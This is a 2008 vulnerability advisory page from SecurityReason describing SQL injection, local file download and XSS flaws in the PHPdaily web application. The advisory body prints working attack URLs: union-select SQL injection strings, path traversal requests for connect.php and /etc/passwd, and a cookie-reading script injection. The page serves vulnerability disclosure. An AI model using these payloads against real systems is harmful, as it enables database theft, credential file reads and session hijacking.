SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHPdaily (SQL/XSS/LFD) Multiple Remote Vulnerabilities


Arrow  SecurityAlert : 4527
Arrow  CVE : CVE-2008-4758
Arrow  CWE : CWE-22
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4992
Arrow  Credit : 0xFFFFFF
Arrow  Published : 30.10.2008

Arrow  Affected Software : phpdaily:phpdaily



Arrow  Advisory Content :  

___________________________________________________________________________
__________________________|
| | / / .: PHPdaily Multiple Remote Vulnerabilities (SQL-INJ,XSS,Local
File Download Vulnerability):. |
| |/
/__________________________________________________________________________
____________________________|
| v / Discoverd By: 0xFFFFFF . Main THX:
ALLAH |
| / Home: www.white-hacker.com . Greetz To: All
Hackers & WHITE-HACKER Team |
| / Mail: admin(at)white-hacker[dot]com .
|
|/ Country: Algeria .
|

v__________________________________________________________________________
_________________________________|
| Publication info :.
|

|__________________________________________________________________________
_________________________________|
| Date: 23-10-2008 . Method :
[*] GET [ ] POST |
| Content: Vulnerability . Register
Globals : [ ] ON [*] OFF |
| Type: SQL-INJ,XSS,LFD . Magic quotes :
[*] ON [ ] OFF |
| Application: PHPdaily . Risk:
[*] High [ ] medium [ ] Low |
| Venedor site: http://phpdaily.self-reliance.be/ .
|
| Version: N/A .
|
| -------------------------------------------------- .
|
| Impact: Exploring Database .
|
| Run unauthorized JavaScript .
|
| Local File Download .
|
| -------------------------------------------------- .
|
| Exploit: Available .
|
| Fix: N/A .
|

|__________________________________________________________________________
_________________________________|
| Description :.
|

|__________________________________________________________________________
_________________________________|
|
|
| After a quick audit, I have noticed that PHPdaily is a very weak script
which contains many types of |
| vulnerabilities.
|
|
|
| Inputs "id,prev" passed into
add_postit.php,delete.php,prest_detail.php,mod_prest_date.php pages are not
|
| properly verified, a simple user can easily get sensitive information
from the database by injecting |
| SQL Queries.
|
|
|
| Also through "download_file.php" page via the input "fichierwe" any
user can download any local file. |
| Furthermore, through "add_prest_date.php" page there is the ability of
XSS. |
|
|
|
...........................................................................
.............................. |
|
|
| Requirement
|
| You have to connect as a simple user
|
|
|
| 1. SQL injection Exploit :
|
|
[Site]add_postit.php?mode=rep&id=-1+union+select+1,2,3,version(),5,6,7,8#
|
| [Site]delete.php?prev=accueil&mode=postit&id=[SQL-INJ]
(-1+union+select+[17 Columns]) |
| [Site]prest_detail.php?prev=[SQL-INJ]
|
| [Site]mod_prest_date.php?prev=list&id=[SQL-INJ]
|
|
|
| 2. Local File Download Exploit :
|
| [Site]download_file.php?fichier=../include/connect.php
|
| [Site]download_file.php?fichier=../../../../../../etc/passwd
|
|
|
| 3. XSS Exploit:
|
| [Site]add_prest_date.php?date="><script>alert(document.cookie)</script>
|

|__________________________________________________________________________
_________________________________|
| Notice :.
|

|__________________________________________________________________________
_________________________________|
| These publications are published for educational purpose thus the
author will be not responsible |
| for any damage.
|

|__________________________________________________________________________
_________________________________|
\ © WHITE-HACKER
All contents © 2008. All rights reserved. |

\____________________________________________________________|



Arrow  References :

http://securityreason.com/expldownload/1/4992/1 (Exploit)




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.